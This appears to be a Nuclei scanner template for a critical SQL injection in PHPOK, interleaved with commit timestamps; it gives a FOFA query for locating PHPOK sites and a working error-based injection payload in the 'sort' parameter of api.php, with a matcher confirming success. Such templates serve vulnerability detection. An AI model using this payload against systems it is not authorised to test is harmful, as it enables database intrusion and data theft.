2022-06-05 08:31:28 +00:00
id : phpok-sqli
info :
2022-09-29 13:38:41 +00:00
name : PHPOK - SQL Injection
2022-06-05 08:31:28 +00:00
author : ritikchaddha
2022-09-29 13:38:41 +00:00
severity : critical
description : PHPOK contains a SQL injection vulnerability via a GET request. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
reference :
- https://cve.report/software/phpok/phpok
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score : 10.0
cwe-id : CWE-89
2022-06-05 08:31:28 +00:00
metadata :
2022-06-30 03:02:35 +00:00
verified : true
2022-06-05 08:36:26 +00:00
fofa-query : app="phpok"
2022-06-05 08:31:28 +00:00
tags : phpok,sqli
2022-06-30 03:01:16 +00:00
variables :
num : "999999999"
2022-06-05 08:31:28 +00:00
requests :
- method : GET
path :
2022-06-30 03:01:16 +00:00
- '{{BaseURL}}/api.php?c=project&f=index&token=1234&id=news&sort=1 and extractvalue(1,concat(0x7e,md5({{num}}))) --+'
2022-06-05 08:31:28 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
2022-06-30 03:01:16 +00:00
- '{{md5({{num}})}}'
2022-09-29 13:38:41 +00:00
# Enhanced by mp on 2022/09/28
